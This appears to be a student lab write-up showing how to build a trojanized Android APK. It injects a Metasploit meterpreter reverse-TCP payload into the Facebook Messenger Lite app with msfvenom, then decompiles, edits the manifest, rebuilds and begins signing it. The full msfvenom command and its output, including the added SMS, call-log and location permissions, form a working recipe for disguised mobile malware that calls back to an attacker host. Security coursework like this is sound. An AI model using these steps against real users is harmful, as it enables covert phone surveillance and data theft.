

Malicious APK File Creation - No. 14

Secret code: Texas tech university

TOOLS USED: APKTOOL

JARSIGNER

ZIPALIGN

METASPLOIT

KEYTOOL

Steps:

1. Install new version of Apktool, keytool, jarsigner and zipalign.
2. Install Metasploit.
3. Install any .apk file from internet. Here, we used messenger app by facebook.
4. Use command “msfvenom –arch dalvik –platform Android -x msglite.apk -p android/meterpreter/reverse_tcp LHOST= 10.0.2.15 LPORT=4444 -o messenger.apk”

```
(sudha_gudla@Kali)-[~/Downloads]
$ msfvenom --arch dalvik --platform Android -x msglite.apk -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -o messengerlite.apk
Using APK template: msglite.apk
[*] Creating signing key and keystore..
[*] Decompling original APK..
[*] Decompling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.facebook.mlite.pcbfi
[*] Loading /tmp/d20221102-35980-ji89z3/original/smali/com/facebook/mlite/MLiteApplication.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
[*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20221102-35980-ji89z3/output.apk
[*] Aligning /tmp/d20221102-35980-ji89z3/output.apk
[*] Signing /tmp/d20221102-35980-ji89z3/aligned.apk with apksigner
Payload size: 15073018 bytes
Saved as: messengerlite.apk
```

5. Now, we can see the app. By using the Apktool we can decompile and check its contents.
Command: “Apktool d messengerlite.apk”

```

(sudha_gudla@Kali)-[~/Downloads]
$ apktool d messengerlite.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1 on messengerlite.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/sudha_gudla/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

```

- After decompiling the apk we can see the list of files and folders.

```

(sudha_gudla@Kali)-[~/Downloads/messengerlite]
$ ls
AndroidManifest.xml  assets  dist  lib  res  unknown
apktool.yml          build  kotlin  original  smali

```

- We have added the secret code in AndroidManifest.xml as `<string name="secret code">Texas tech university</string>`

```

1 AndroidManifest.xml
<uses-feature android:name="android.hardware.camera.autofocus" android:required="false"/>
<uses-feature android:name="android.hardware.wifi" android:required="false"/>
<uses-feature android:name="android.hardware.microphone" android:required="false"/>
<uses-feature android:name="android.hardware.telephony" android:required="false"/>
<uses-feature android:name="android.hardware.bluetooth" android:required="false"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.BLUETOOTH"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<queries>
<package android:name="com.facebook.appmanager"/>
<package android:name="com.facebook.system"/>
<package android:name="com.facebook.services"/>
</queries>
<queries>
<intent>
<action android:name="android.media.browse.MediaBrowserService"/>
</intent>
</queries>
<application android:allowBackup="false" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:debuggable="false" android:extractNativeLibs="true" android:icon="@mipmap/ic_launcher" android:label="@string/APKTOOL_DUPLICATE_string_0x7f110001" android:name="com.facebook.messengerlite">
<string name="secret code">Texas tech university</string>
<meta-data android:name="com.facebook.build_rule" android:value="m1te_armv7_arch_dextr_splitarsc_hdpi_armv7_release_fbisgn"/>
<meta-data android:name="com.facebook.package_type" android:value="release"/>
<meta-data android:name="com.facebook.build_time" android:value="1666798918000L"/>
<meta-data android:name="com.facebook.versioncontrol.branch" android:value="master"/>
<meta-data android:name="com.facebook.versioncontrol.revision" android:value="MASTER"/>
<meta-data android:name="com.facebook.build_id" android:value="412729321"/>
<activity android:name="com.facebook.messengerlite.MainActivity" android:label="@string/name_removed" android:launchMode="singleTop" android:name="com.facebook.messengerlite.MainActivity">
<intent-filter android:label="@string/name_removed">
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
<intent-filter>
<action android:name="com.facebook.messengerlite.INBOX"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>

```

- Now, we compile the folder using “Apktool b messengerlite”

```

(sudha_gudla@Kali)-[~/Downloads]
$ apktool b messengerlite
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Copying libs... (/lib)
I: Copying libs... (/kotlin)
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...

```

- Now, we need to sign it. To sign the app we used keytool and jarsigner. First a keystore is created by using keytool.

